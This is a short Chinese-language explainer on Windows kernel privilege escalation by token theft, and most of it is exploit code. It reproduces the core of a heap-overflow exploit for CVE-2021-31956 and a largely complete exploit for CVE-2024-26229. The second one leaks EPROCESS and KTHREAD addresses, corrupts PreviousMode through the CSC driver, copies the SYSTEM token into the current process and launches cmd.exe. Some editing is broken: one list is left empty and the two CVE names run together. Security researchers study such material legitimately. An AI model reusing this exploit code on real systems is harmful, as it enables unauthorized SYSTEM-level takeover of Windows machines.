在 Windows 内核提权的发展过程中,攻击者通常通过各种方案布局,最终获得内核地址的读写权限。进程的 Token 决定了它具备什么权限——Windows 在执行 SeAccessCheck 时会读取调用者的 Token,其中的 SID、Group 和 Privileges 决定了是否允许访问某个资源。

Token 分为两类:

要实现一个进程的提权,要做到获取结构体的地址和任意读取

要修改或读取程序的 EPROCESS 结构体,除了获得任意读/写权限外,最关键的是泄漏出结构体地址——否则无法读取高权限的 Token 或改写其他标志。

两个本地提权漏洞样例(**CVE-2021-31956CVE-2024-26229**)


    if (!NT_SUCCESS(resolve_symbols()))
        goto out;

    if (!NT_SUCCESS(get_eproc(&own_eproc)))
        goto out;

    if (!NT_SUCCESS(spray_heap(statenames, SPRAY_COUNT, &buf, sizeof(buf))))
        goto out;

    if (!NT_SUCCESS(fragment_heap(statenames, SPRAY_COUNT)))
        goto out;

    if (!NT_SUCCESS(overflow_chunk(OVERFLOW_SZ, OVERFLOW_DATA, OVERFLOW_SZ)))
        goto out;

    while (!NT_SUCCESS(find_chunk(statenames, SPRAY_COUNT, &buf, &buf_sz, &overflow_idx)))
        if (!NT_SUCCESS(overflow_chunk(OVERFLOW_SZ, OVERFLOW_DATA, OVERFLOW_SZ)))
            goto out;

pRtlInitUnicodeString(&objectName, L"\\\\Device\\\\Mup\\\\;Csc\\\\.\\\\.");
	InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);

	status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		printf("[-] NtCreateFile failed with status = %x\\n", status);
		return status;
	}

	Ret = GetObjPtr(&Sysproc, 4, 4);
	if (Ret != NULL)
	{
		return Ret;
	}
	printf("[+] System EPROCESS address = %llx\\n", Sysproc);

	hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
	if (hThread != NULL)
	{
		Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current THREAD address = %llx\\n", Curthread);
	}

	hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
	if (hCurproc != NULL)
	{
		Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current EPROCESS address = %llx\\n", Curproc);
	}

	status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		printf("[-] NtFsControlFile failed with status = %x\\n", status);
		return status;
	}

	printf("[!] Leveraging DKOM to achieve LPE\\n");
	printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\\n");

	Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

	Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

	system("cmd.exe");

从这两个提权漏洞的利用可以看出,必须拿到EPROCESS结构体地址,例如CVE-2024-26229,实现了一个拷贝内核地址的漏洞,将PID 4 的进程token拷贝设置为自己的token,从而提升权限。

攻击者在使用CVE-2021-31956绕过chrome沙箱时,还使用CVE-2021-31955来泄漏eprocess地址,确保在沙箱内利用成功。